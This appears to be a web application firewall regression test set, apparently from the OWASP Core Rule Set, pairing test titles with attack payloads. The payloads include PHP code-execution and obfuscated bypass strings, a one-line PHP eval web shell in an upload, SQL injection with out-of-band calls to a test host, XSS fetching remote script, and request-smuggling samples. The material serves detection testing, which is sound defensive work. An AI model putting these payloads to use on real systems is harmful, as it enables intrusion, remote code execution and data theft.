{"body": "SyntaxError (/path/to/your/app/controllers/reflects_controller.rb:10: syntax error, unexpected keyword_end)"}


{"body": "NameError (undefined local variable or method `unexistent_variable' for #<PostsController:0x00007f...>"}


{"body": "ActiveRecord::RecordNotFound (Couldn't find Post with 'id'=999)"}


{"body": "ActionView::Template::Error (undefined method 'name' for nil:NilClass)"}


{"body": "TypeError: no implicit conversion of String into Integer"}


{"body": "NoMethodError: undefined method 'author_name' for #<User:0x00007f...>"}


{"body": "ArgumentError: wrong number of arguments (given 0, expected 1)"}


{"body": "ActionController::RoutingError: No route matches [GET] "}


{"body": "ActionController::ParameterMissing: param is missing or the value is empty: comment"}


False Positive: Roundcube defining error message for frontend, matching `loaderror` in `fileuploaderror`


{ "noJavascriptError":"SOGo requires Javascript to run. Please make sure this option is available and activated within your browser preferences." }

False Positive: SOGo defining error message for frontend, matching `scriptError` in `noJavascriptError`


False Positive: Don't match templates for WordPress site customizer


PHP Injection Attack (933100) from old modsec regressions


PHP injection attack: looking for [/php] closing tag


PHP injection attack: looking for [\php] closing tag


xml/php polyglot payload, using a PHP
decoded payload: <?xml :echo 1;'


xml/php polyglot payload, using a PHP, uppercase test
decoded payload: <?XML :echo 1;'


xml/php polyglot payload, using a PHP
decoded payload: <?xml :fputCSV($alreadyOpenFile, array("foo", "bar", "hello", "world"));'


xml/php polyglot payload, using a PHP
decoded payload: <?xml   						 ();echo 1;


----------397236876
Content-Disposition: form-data; name="fileRap"; filename="something/dangerous.php"
Content-Type: text/plain

please block me
----------397236876--


----------397236876
Content-Disposition: form-data; name="something/dangerous.php"; filename="safe.txt"
Content-Type: text/plain

please don't block me
----------397236876--


----------397236876
Content-Disposition: form-data; name="file"; filename="safe.phpinfo"
Content-Type: text/plain

please don't block me
----------397236876--


PHP Injection Attack: Configuration Directive


PHP Injection Attack: Configuration Directive: engine


PHP Injection Attack: Configuration Directive: extension


PHP Injection Attack: Configuration Directive: mbstring.regex_retry_limit


PHP Injection Attack: Configuration Directive: mbstring.regex_stack_limit


PHP Injection Attack: Configuration Directive: precision


PHP Injection Attack: Configuration Directive: smtp


PHP Injection Attack: Configuration Directive: unserialize_max_depth


FP PHP Injection Attack: prevent matching base64 encoded requests


PHP Injection Attack: Block config directive with whitespace


PHP Injection Attack: Block config directive with a path


SERVER index listed with obfuscated SERVER


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Positive test: PHP Injection Attack - Wrapper scheme detected (phar://)


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Positive test: PHP Injection Attack - Wrapper scheme detected (compress.bzip2://)


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Positive test: PHP Injection Attack - Wrapper scheme detected (compress.zlib://)


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Positive test: PHP Injection Attack - Wrapper scheme detected (zip://)


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Negative test: PHP Injection Attack - Non-existent wrapper scheme (lz77://)


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Positive test: PHP Injection Attack - Wrapper scheme detected (ssh2.shell://)


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Positive test: PHP Injection Attack - Wrapper scheme detected (ssh2.exec://)


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Positive test: PHP Injection Attack - Wrapper scheme detected (ssh2.tunnel://)


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Positive test: PHP Injection Attack - Wrapper scheme detected (ssh2.sftp://)


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Positive test: PHP Injection Attack - Wrapper scheme detected (ssh2.scp://)


PHP function call in body, mixed case.
payload: curl_iNit()


PHP function call in body
payload: posix_getegid()


PHP function call in body, mixed case
payload: Print_r()


PHP function call in body.
payload: strrev()


False Positive test
payload: the files (yep)


False Positive test, exec should be followed by parenthesis
payload: exec (


False Positive test
payload: cheval($foo)


False Positive test
payload: audiofile($foo)


False Positive test
payload: the system is down()


False Positive test
payload: ecosystem()


False Positive test, function doesn't exist
payload: systems()


False Positive test, function doesn't exist
payload: system something()


Snippets of English words (like `prev`) should not be matched, requiring regex match with word boundaries (e.g. 933160)


Snippets of English words (like `exp`) should not be matched, requiring regex match with word boundaries (e.g. 933160)


PHP mixed case function call with space, LF between ().
payload: file_ExistS (\n\n)


False positive with filename matching `fopen`


SEO Framework false positive
matching 'strip_tags' in 'title_strip_tags'


False positive with SprintForTheCause matching printf


Don't block printf function (Handled by 933160)


PHP function call in query.
payload: chr(123)


PHP function call with variable as parameter.
payload: eval($foo)


PHP function call, CR, ($variable).
payload: eval\r($foo)


PHP function call, LF, ('value').
payload: exec\n('bar')


PHP uppercase function call, CR, LF, ().
payload: FILE\r\n()


PHP function call with multiple whitespaces.
payload: exec  (blah)


PHP function call using Error Control Operator.
payload: @exec('test')


PHP function call with vertical tab.
payload: exec  (blah)


PHP function call with comment and newline.
payload: exec //comment\r\n (blah)


PHP function call with comment and newline.
payload: exec #comment\r\n (blah)


PHP function call with comment and newline.
payload: exec#\n ()


PHP function call with comment, newline, and vertical tab.
payload: exec \t #\n ()


PHP function call with c-style comment syntax.
payload: exec/*comment*/()


PHP function call with c-style comment syntax and whitespaces.
payload: exec /*comment*/ ()


PHP function call with empry c-style comment syntax, whitespaces, and vertical tab.
payload: exec \t/**/\t ()


PHP function call with c-style comment syntax containing newline, whitespaces and vertical tab.
payload: exec\t/*foo\r\nbar*/\t ()


PHP function call in URI with concatenated string/functions
payload: eval(chr(112).chr(104).chr(112))


PHP function call in body
payload: eval("echo 10000000000-245205634;")


PHP function call in body, mixed case
payload: eVAl("echo 10000000000-245205634;")


PHP function call
payload: system(whoami)


PHP function call
payload: (system)(whoami)


PHP function system call in single quotes and parentheses
payload: ('system')('whoami')


PHP system call in double quotes and parentheses
payload: ("system")("whoami")


PHP system call in double quotes and parentheses, multiple spaces after command
payload: ("system  ")("whoami")


PHP string function call
payload: return"system"(xyz).s


False Positive test, missing mandatory parenthesis
payload: eval


False Positive test
payload: the files (yep)


PHP mixed case function call with space, LF between ().
payload: assert_OptionS (\n\n)


PHP function call `filegroup` with multiple whitespaces.
payload: filegroup  (blah)


PHP function call with multiple whitespaces.
payload: fopen  (blah)


False positive with filename matching `fopen`


SEO Framework false positive
matching 'strip_tags' in 'title_strip_tags'


False positive with SprintForTheCause matching printf


none urlDecodeUni replaceComments removeWhitespace


none urlDecodeUni replaceComments removeWhitespace


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(system)('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(sy.(st).em)('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(string)'system'('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "( string ) 'sys'.'t'.'em' ('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(string) {[system][0]} ('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "define('x', 'sys' . 'tem');(x)/* comment */('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "$y = 'sys'.'tem';($y)('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "define('z', [['sys' .'tem']]);(z)[0][0]('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(system)(ls)"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(/* comment */system)(ls/* comment */)"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "[system][0](ls)"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "[ system ] [ 0 ] ( ls )"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(['system'])[0]('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(  [  system  ][  0  ])  {/* comment */0}  (  ls  )"


none urlDecodeUni replaceComments removeWhitespace

Check FP if text contains quotes and round parenthesis


none urlDecodeUni replaceComments removeWhitespace


none urlDecodeUni replaceComments removeWhitespace

Block function call via string using hex escape sequence


non-dangerous PHP functions, removed to reduce FP


rule should not trigger when there are other words before parenthesis (`ceil` should not be matched)


snippets of Eng words (like prev) should not be matched, requiring regex match with word boundaries (e.g. 933160)


snippets of Eng words (like exp) should not be matched, requiring regex match with word boundaries (e.g. 933160)


rule should not trigger when there are other words before parenthesis (`openlog` should not be matched)


rule should not trigger when there are other words before parenthesis (`sodium_add` should not be matched)


SERVER index listed with obfuscated SERVER


------WebKitFormBoundaryoRWIb3busvBrbttO
Content-Disposition: form-data; name="file"; filename="test.php.jpg"
Content-Type: image/jpeg

<?php @eval($_POST["hacker"]); ?>

------WebKitFormBoundaryoRWIb3busvBrbttO--

PHP Injection Attack: PHP Script File Upload Found


PHP Injection Attack: PHP Closing Tag Found


none urlDecodeUni replaceComments removeWhitespace


none urlDecodeUni replaceComments removeWhitespace


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(system)('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(sy.(st).em)('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(string)'system'('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "( string ) 'sys'.'t'.'em' ('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(string) {[system][0]} ('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "define('x', 'sys' . 'tem');(x)/* comment */('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "$y = 'sys'.'tem';($y)('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "define('z', [['sys' .'tem']]);(z)[0][0]('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(system)(ls)"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(/* comment */system)(ls/* comment */)"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "[system][0](ls)"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "[ system ] [ 0 ] ( ls )"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(['system'])[0]('uname')"


none urlDecodeUni replaceComments removeWhitespace

PHP Variable Function bypass "(  [  system  ][  0  ])  {/* comment */0}  (  ls  )"


none urlDecodeUni replaceComments removeWhitespace


none urlDecodeUni replaceComments removeWhitespace

Block function call via string using hex escape sequence


none urlDecodeUni replaceComments removeWhitespace

Block function call bypass '(sy.(st).em)(@id)' (without trailing semi-colon)


none utf8toUnicode urlDecodeUni removeNulls


none utf8toUnicode urlDecodeUni removeNulls


none utf8toUnicode urlDecodeUni removeNulls


none utf8toUnicode urlDecodeUni removeNulls


none utf8toUnicode urlDecodeUni removeNulls


none utf8toUnicode urlDecodeUni removeNulls


none utf8toUnicode urlDecodeUni removeNulls


var=JKGHUKGDI8TDHLFJH72FZLFJSKFH' and sleep(12) --

none utf8toUnicode urlDecodeUni removeNulls


var=/path/to/file/unitests.txt') UNION ALL select NULL --

none utf8toUnicode urlDecodeUni removeNulls


1'||(select extractvalue(xmltype('<?xml version="1.1" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % toyop SYSTEM "https://coreruleset.org/">%toyop;

none utf8toUnicode urlDecodeUni removeNulls


none utf8toUnicode urlDecodeUni removeNulls


none utf8toUnicode urlDecodeUni removeNulls


var=" | type %SystemDrive%\\config.ini | "

none utf8toUnicode urlDecodeUni removeNulls


var="unittests@coreruleset.org"')) and (select*from(select(sleep(5)))x) --

none utf8toUnicode urlDecodeUni removeNulls


SQL Injection Attack: Common DB Names Detected


var=foo'||(select extractvalue(xmltype('<?xml version="1.1" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % tocob SYSTEM "https://unit'||'tests.coreruleset.org/">%tocob;


var=/config.txt' (select load_file('\\\\unittests.coreruleset.org\\zow')) '


SQL injection using 'substring' function


SQL injection using SQLite 'sqlite_compileoption_used' function


SQL injection using SQLite 'sqlite_compileoption_get' function


SQL injection using PostgreSQL starts_with() function


SQL injection using PostgreSQL jsonb_pretty() function


SQL injection using PostgreSQL json_build_object() function


payload=Weitere überlieferte Bezeichnungen sind Harsle (1319), Crucesignati in Herslo (1475) und Haßelt (1599).


payload=Left (WA, RR), following wood edge south (‘Restrictive Byway’/RB) for ½ mile to Pangfield Farm (564719).


payload=One quarter (24%) of people have had an affair and cheated on a partner at some point in their lives, according to results released today.


payload=You can choose between front up to maximise space (ideal for art and drawing), left up (for right handed users) and right up (for left handed users).


payload=A maximum of the likelihood function occurs at the same parameter-value as a maximum of the logarithm of the likelihood (the "log likelihood"), because the logarithm is an increasing function.


payload=Below the rank of species he sometimes recognized taxa of a lower (unnamed) rank ; these have since acquired standardised names such as variety in botany and subspecies in zoology.


payload=Grasshopper v1.0 made its eighth, and final, test flight on October 7, 2013, flying to an altitude of convert (0.46 miles) before making its eighth successful VTVL landing.


payload=In older texts printed down to c. 1630, v was used in initial position (even when it represented a vowel, e.g. in vt, later printed ut) and u was used elsewhere, e.g. in nouus, later printed novus.


payload=The measures of the interior angles of the triangle always add up to 180 degrees (same color to point out they are equal).


payload=There are numerous causes of asystole that may be reversible if determined quickly enough, however, survival is very unlikely (~2% if not in a hospital).


payload=The script is written from right to left, (Lal 1966) and sometimes follows a boustrophedonic style.


SQL Injection Attack: Time-Based Payload Detected via Sleep Function


SQL Injection Attack: Time-Based Payload Detected via Benchmark Function


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: sELecT slEep (20 dIv 3)


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: SeleCT sLeEp (mOD(10,5))


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: sELecT slEep (5 ^ 2)


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: sELecT slEep (3 * 2)


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: sELecT slEep (-3 * -2)


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: sELecT slEep (10 /6)


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: sELecT slEep ('10€@#={},~2')


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: sELecT slEep ("10")


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: sELecT slEep (10 +6)


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: sELecT slEep (10 -6)


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: sELecT slEep (10.2)


SQL Injection Attack: Time-Based Payload Detected via Sleep Function
decoded payload: sELecT slEep (20 % 7)


SQL Injection Attack: Time-Based Payload Detected via Sleep Function with comments
decoded payload: selEct(/*te"$%st*/sleep(/*te'e*st2*/10));


Detects SQL benchmark and sleep injection attempts including conditional queries: 'SELECT BENCHMARK(1000000,1+1);'


Detects SQL benchmark and sleep injection attempts including conditional queries: '; sleep(0)'


Detects SQL benchmark and sleep injection attempts including conditional queries: negative test


Status Page Test - SQL injection test with select if(x


MSSQL code execution and information gathering attempts


MSSQL Code Execution and Information gathering attempts


var=1);declare @q varchar(99);set @q='\\j0kwbatxjfgjp0qu3ibonwovamgmkq8h05unittests.corerule' 'set.org\kph'; exec master.dbo.xp_dirtree @q;--


var=content.ini);declare @q varchar(99);set @q='\\i1kvc9uwkehiqzrt4hcnovpublhunittests.corerule' 'set.org\lri'; exec master.dbo.xp_dirtree @q;--


var=EmptyValue', '4', '2', '7');declare @q varchar(99);set @q='\\h5nug8yvodlhuyvs8ggmsuttfklkcjunittests.corerule'+'set.org\vcr'; exec master.dbo.xp_dirtree @q;--


var=test));declare @q varchar(99);set @q='\\zwzc7qpdfvczlgmazy74jckb62cunittests.corrule'+'set.org\gej'; exec master.dbo.xp_dirtree @q;--


MSSQL Logical Functions - IIF (Transact-SQL) - regression test


Detects MySQL charset switch and MSSQL DoS attempts


basic sql injection. Common attack string for mysql, oracle and others


Status Page Test - SQL injection test with Xunionselectfrom (missing word boundary at the beginning)


Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts


https://www.example.com/search?hl=en&q=testing-1 waitfor delay '0:0:15' --

SQL Server waitfor delay attack - Referer


OWASP CRS test agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36-1 waitfor delay '0:0:15' --

SQL Server waitfor delay attack - User-Agent


Test as described in http://www.client9.com/article/five-interesting-injection-attacks/


basic MongoDB NOSQL injection attempts 2


basic MongoDB NOSQL injection attempts 3


basic MongoDB NOSQL injection attempts 4


basic MongoDB NOSQL injection attempts 5


basic MongoDB NOSQL injection attempts 6


basic MongoDB NOSQL injection attempts 7


basic MongoDB NOSQL injection attempts 8


Detects MySQL and PostgreSQL stored procedure/function injections


Detects PostgreSQL data conversion with ::int


Detects PostgreSQL data conversion with ::bool


Detects PostgreSQL bypass attempt with div(23,-2) - issue #2910


Detects PostgreSQL bypass attempt with div (23.23 , 2) - issue #2910


Detects PostgreSQL bypass attempt lo_import'( - issue #2912


Detects PostgreSQL bypass attempt with lo_get(16400) - issue #2924


Detects PostgreSQL bypass attempt function(foo)::text - issue #2924


Detects PostgreSQL bypass attempt function(foo)::bigint - issue #2924


Detects PostgreSQL bypass attempt function(foo)::double precision - issue #2924


MySQL UDF injection and other data/structure manipulation


Fix for FP reported in GitHub issue 1587


Status Page Test - MySQL injection with ;truncate[xx


concatenated basic SQL injection and SQLLFI


Detects concatenated basic SQL injection and SQLLFI attempts


blablabla. As evidence from the following blablabla


UNION ALL SELECT NULL,NULL,CONCAT(CONCAT('qqkjq','mxTSrPILRz'),'qvxvq')-- sqCV


-1 UNION SELECT null,123456,null,null,null,null--


(CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(112)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6557=6557


) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--


Use of portability comment (/*!...*/) as evasion technique


Use of portability comment (/*!...*/) as evasion technique, with space before !


Use of optimizer hints (/*+...*/) as evasion technique


Use of optimizer hints (/*+...*/) as evasion technique with space before +


Status Page Test - MySQL inline comment detected


False positive test CSV balanced single quotes


----------397236876
Content-Disposition: form-data; name="document"; filename="document.md"
Content-Type: text/markdown

# Foo
my name is 'foo'; and I work on CRS.
# Bar
my name is "bar"; and I work on CRS.
----------397236876--

False positive test (markdown) mixed and balanced quotes


Positive test for Scientific Notation in MySQL, e.g 1.e(


Status Page Test - simplified positive test for Scientific Notation in MySQL, e.g 1.e(


Status Page Test - simplified positive test for Scientific Notation in MySQL, e.g 1.e.tables


JSON in SQL (ARGS)
decoded payload: OR '{"b":2}'::jsonb <@ '{"a":1, "b":2}'::jsonb


JSON in SQL (ARGS)
decoded payload: OR '{"b":2}'::jsonb <@ '{"a":1, "b":2}'


JSON in SQL (ARGS)
decoded payload: OR '{"b":2}' <@ '{"a":1, "b":2}'::jsonb


JSON in SQL (ARGS)
decoded payload: OR '{"b":2}'::json <@ '{"a":1, "b":2}'


JSON in SQL (ARGS)
decoded payload: OR '{"b":2}' <@ '{"a":1, "b":2}'::json


JSON in SQL (ARGS)
decoded payload: OR '{"b":2}'::jsonb @> '{"a":1, "b":2}'::jsonb


JSON in SQL (ARGS)
decoded payload: OR '{"b":2}'::jsonb < '{"a":1, "b":2}'::jsonb


JSON in SQL (ARGS)
decoded payload: OR '{"b":2}'::jsonb > '{"a":1, "b":2}'::jsonb


JSON in SQL (ARGS)
decoded payload: OR json_extract('{"id": 14, "name": "Aztalan"}', '$.name') = 'Aztalan'


JSON in SQL (ARGS)
decoded payload: blah/"}' and data @> '{"a":"a"}' union select ASCII(s.token) from unnset(string_to_array((select cookie from cookie limit 1 ),NULL)) s(token)--/state


JSON in SQL (ARGS)
decoded payload: OR '{"a":"b"}' ? 'a'


JSON in SQL (ARGS)
decoded payload: OR '[1,2]' ? '1'


JSON in SQL (ARGS)
decoded payload: OR '{"name":"asd"}' ?| array['a','name']


JSON in SQL (ARGS)
decoded payload: OR '{"name":"asd"}' ?& array['a','name']


JSON in SQL (ARGS)
decoded payload: OR '[1,2,3]'::json ->> 2='3'


JSON in SQL (ARGS)
decoded payload: OR '{"a":1}'::jsonb #> '{a,b}' ? 'c'


SQL Comment in payload
decoded payload: OR '{"a":1}'::jsonb #> /* Some * comment */'{a,b}' ? 'c'


SQL Comment in payload
decoded payload: '{"a": {"b": ["foo","bar"]}}'::json #>> '{a,b,1}'


SQL Comment in payload
decoded payload: '["a", {"b":1}]'::jsonb #- '{1,b}'


False Positive: Matching ? in natural english
decoded payload: how was your day today?


PostgreSQL
decoded payload: '{"b":2}'::jsonb @ '{"a":1, "b":2}'::jsonb


MySQL
decoded payload: SELECT id FROM users WHERE id=JsoN_EXTraCT/**/(/**/'  {"a":1}  '/**/,/**/' $.a '/**/);


False Positive: Matching orphan operator
decoded payload: I Love you <3


False Positive: Matching -> sequence
decoded payload: Find your solution here -> link


SQL Injection Attack: SQL Operator Detected


Collate bypass with postgress string escaping U&


text=It is highly unlikely this is going to be a false positive


text=After calculating the likelihood this should not be matched.


SQL Injection Attack: SQL Operator == Detected


SQL Injection Attack: SQL Operator ! all Detected


SQL Injection Attack: SQL Operator >= Detected


SQL Injection Attack: SQL Operator -> Detected


SQL Injection Attack: SQL Tautology - like


SQL Injection Attack: SQL Tautology using MySQL NULL-safe operator <=>


SQL Injection Attack: SQL Tautology using glob


SQL Injection Attack: SQL Tautology negative


var=unittests@coreruleset.org' (function(){if(typeof foo==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<20000);foo=1;}}()) '


var=eval(compile('for x in range(1):\n import time\n time.sleep(12)','a','single'))


var=1)and (select*from(select(sleep(12)))a)-- : 1)and (select*from(select(sleep(12)))a)--


var=test"+eval(compile('for x in range(1):\n import time\n time.sleep(12)','a','single'))+"


var=test"+(function(){if(typeof gs78r==='undefined'){var a=new Date();do{var b=new Date();}while(b-a<20000);gs78r=1;}}())+"


basic SQL authentication bypass SQLite glob


basic SQL authentication bypass SQLserver


basic SQL authentication bypass sqlite glob 2


basic SQL authentication bypass sqlite glob 3


comment-/space-obfuscated injections and backtick termination


pay=1 GROUP BY CONCAT(0x7162766a71,(SELECT (CASE WHEN (5554=5554) THEN 1 ELSE 0 END)),0x7171786271,FLOOR(RAND(0)*2)) HAVING MIN(


MySQL comments, conditions and ch(a)r injectionss


No false positives with for. Issue #2007


Chained SQL injection attempts 2/2.
This test originally checked the expression `[\"'`]\s+and\s*?=\W`. We opted to remove that expression as it
does not appear to match anything useful (https://github.com/coreruleset/coreruleset/issues/2118).
This test now checks that no match occurs for something that would have matched the original expression.


Chained SQL injection attempts 2/2.
This test checks for a positive match of `\(\s*?select\s*?\w+\s*?\(`.


Chained SQL injection attempts 2/2.
This test checks for a positive match of `order\s+by\s+if\w*?\s*?\(`.


Test second backslash match (\x5cx(?:23|27|3d))


basic SQL authentication bypass attempts 3/3


SQLite authentication bypass with except select


SQLite authentication bypass with except values


basic SQL authentication bypass attempts 3/3 (no whitespace between operator)


SQL Auth Bypass FP test (invalid operator without whitespace)


Detects basic SQL injection based on keyword alter or union


concatenated basic SQL injection and SQLLFI


Detects concatenated basic SQL injection and SQLLFI attempts


from(select count(*),concat((select (select (select concat(0x53,0x65,0x61,0x72,0x63,0x68,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x6F,0x72) from `information_schema`.tables limit


SELECT 6229 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (CASE


from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user desc limit


var=EmptyValue into outfile '\\\\jviw6aoxefbjk0luyi6oiwjv5unittests.coreruleset.org\\xct'; --


var=/config.ini' into outfile '\\\\il7vw9ew4e1iazbtohwn8v9uvl1hunitetests.coreruleset.org\\yxq'; --


var=config.ini") UNION ALL select NULL --


SQL injection using 'overlay(...placing..)


SQL injection using 'overlay(...placing..) with newlines


Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)


test=SELECT /*!32302 1/0, */ 1 FROM tablename


Avoid False Positive on JWT (querystring)


False positive against Facebook click identifier


False positive against Google click identifier


Detects basic SQL auth bypass with 'is not something'


Detects basic SQL auth bypass with 'not like something'


Detects basic SQL auth bypass with 'not glob'


Detects basic SQL auth bypass with 'not like glob'


Detects basic SQL auth bypass with binary operators


Nagive test: Detects basic SQL auth bypass with binary operators


Negative test: Detects basic SQL auth bypass with binary operators


Detects basic SQL auth bypass with: sounds like


Detects the most basic authentication bypass with 'or'


Detects basic SQLite authentication bypass with 'or?'


False-positive: Detects or-based authentication bypass


False-positve: is it your parents' or yours


Negative test: bob's presentation's 'or'


False-negative: Not detected with escapes


Negative test: Wikipedia article about SQLi


1' and lo_import('/etc' || '/pass' || 'wd')::int::bool and 'true

Detects odd number of quotes in request headers


Integration test: 942521 blocks foo'or'oof


Negative test: doesn't block normal SQLi


Negative test: doesn't block escaped quotes without following (and|or)


Integration test: 942522 blocks foo\''or'oof


SQL injection in request header User-Agent


overlay(password placing $$$$ from 1)::int and id=1

Detects MySQL and PostgreSQL stored procedure/function injections


Detects having injections: ' HAVING COUNT(CustomerID) > 5'


Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (6)


Repetitive Non-Word Characters negative test only 3 characters


Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (2)


Session Fixation Attack (943100) from old modsec regressions


Status Page Test - Possible Session Fixation Attack: Part of Setting Cookie Values in ARG


Session Fixation Attack (943110) from old modsec regressions


Session Fixation Attack (943120) from old modsec regressions


barGET /a.html HTTP/1.1
Something: GET /b.html HTTP/1.1
Host: foo.com
User-Agent: foo
Accept: */*

HTTP Request Smuggling bypass with Content-Type text/plain


HTTP Request Smuggling with not supported HTTP versions such as HTTP/1.2


HTTP Request Smuggling with not supported HTTP versions such as HTTP/3


HTTP Response Splitting false negative test


HTTP Response Splitting false positive test issue 2054


HTTP response splitting (921120) from old modsec regressions


Fix FP issue 1615. Header followed by word chars.


Status Page Test - Parameter with value 'CR.LF.Content-Length: 0' to match the rule's regular expression


HTTP response splitting (921130) from old modsec regressions


HTTP Header Injection Attack via payload


Status Page Test - Header Injection Attack (CR/LF detected): Send a parameter name that includes %0d%0a (percent-encoded CR-LF)


HTTP Header Injection Attack via payload: w/header, invalid line break, newlines after key


HTTP Header Injection Attack via payload: w/header, correct line break, newlines after key


HTTP Header Injection Attack via payload: w/header


HTTP Header Injection Attack via payload: w/header, attack explicitly in value rather than key


HTTP Header Injection Attack via payload: w/header, attack explicitly in key rather than value


Status Page Test - simple HTTP header Injection Attack via payload in value


FastCGI variable injection: Nginx + PHP-FPM (CVE-2019-11043)


PHP Settings injection: Nginx + PHP-FPM (CVE-2019-11043)


Detect attacks against mod_proxy: CVE-2021-40438


Detect attacks against mod_proxy: CVE-2021-40438, URI encoded


HTTP Parameter Pollution via bogus chars after parameter array name


HTTP Parameter Pollution via bogus chars between square brackets of multi-dimensional array name


HTTP Parameter Pollution false positive test


Potential HTTP Parameter Pollution via parameter array


Valid request with query and anchor components


The colon in the path is not allowed. Apache will block by default:
(20024)The given path is misformatted or contained invalid characters: [client 127.0.0.1:4142] AH00127: Cannot map GET /index.html:80?I=Like&Apples=Today#tag HTTP/1.1 to file


input=<script xmlns="http://www.w3.org/1999/xhtml">setTimeout("top.frame2.location=\"javascript:(function () {var x = document.createElement(\\\"script\\\");x.src = \\\"//sdl.me/popup.js?//\\\";document.childNodes\[0\].appendChild(x);}());\"",1000)</script>&//

Test as described in http://www.client9.com/article/five-interesting-injection-attacks/


----------397236876
Content-Disposition: form-data; name="fileRap"; filename="file=.txt"
Content-Type: text/plain

555-555-0199@example.com
----------397236876--


Attempted multipart/form-data bypass (920120) from old modsec regressions


Invalid Request Body (920120)  from old modsec regressions


Attempted multipart/form-data bypass (920120). Negative test.


Attempted multipart/form-data bypass (920120).


Attempted multipart/form-data bypass (920120). Negative test for HTML entities in values: &[aeiouy]uml;.


Attempted multipart/form-data bypass (920120). Negative test for HTML entities at beginning of value: &[aeiouy]uml;


-----------------------------265001916915724
Content-Disposition: form-data; name="zzzâêîôûĉĝĥĵŝŵŷÂÊÎÔÛĈĜĤĴŜŴŶzzz"; filename="test"
Content-Type: application/octet-stream

helloworld
-----------------------------265001916915724--

Attempted multipart/form-data bypass (920120). Negative test for HTML entities in values: &[aeioucghjswy]circ;.


-----------------------------265001916915724
Content-Disposition: form-data; name="âêîôûĉĝĥĵŝŵŷÂÊÎÔÛĈĜĤĴŜŴŶzzz"; filename="test"
Content-Type: application/octet-stream

helloworld
-----------------------------265001916915724--

Attempted multipart/form-data bypass (920120). Negative test for HTML entities at beginning of value: &[aeioucghjswy]circ;


-----------------------------265001916915724
Content-Disposition: form-data; name="zzzáéíóúćĺńŕśźǵÁÉÍÓÚĆĹŃŔŚŹ&Gacute;zzz"; filename="test"
Content-Type: application/octet-stream

helloworld
-----------------------------265001916915724--

Attempted multipart/form-data bypass (920120). Negative test for HTML entities in values: &[aeiouclnrszg]acute;.


-----------------------------265001916915724
Content-Disposition: form-data; name="áéíóúćĺńŕśźǵÁÉÍÓÚĆĹŃŔŚŹ&Gacute;zzz"; filename="test"
Content-Type: application/octet-stream

helloworld
-----------------------------265001916915724--

Attempted multipart/form-data bypass (920120). Negative test for HTML entities at beginning of value: &[aeiouclnrszg]acute;


Attempted multipart/form-data bypass (920120). Negative test for HTML entities in values: &[aeiou]grave;.


Attempted multipart/form-data bypass (920120). Negative test for HTML entities at beginning of value: &[aeiou]grave;


-----------------------------265001916915724
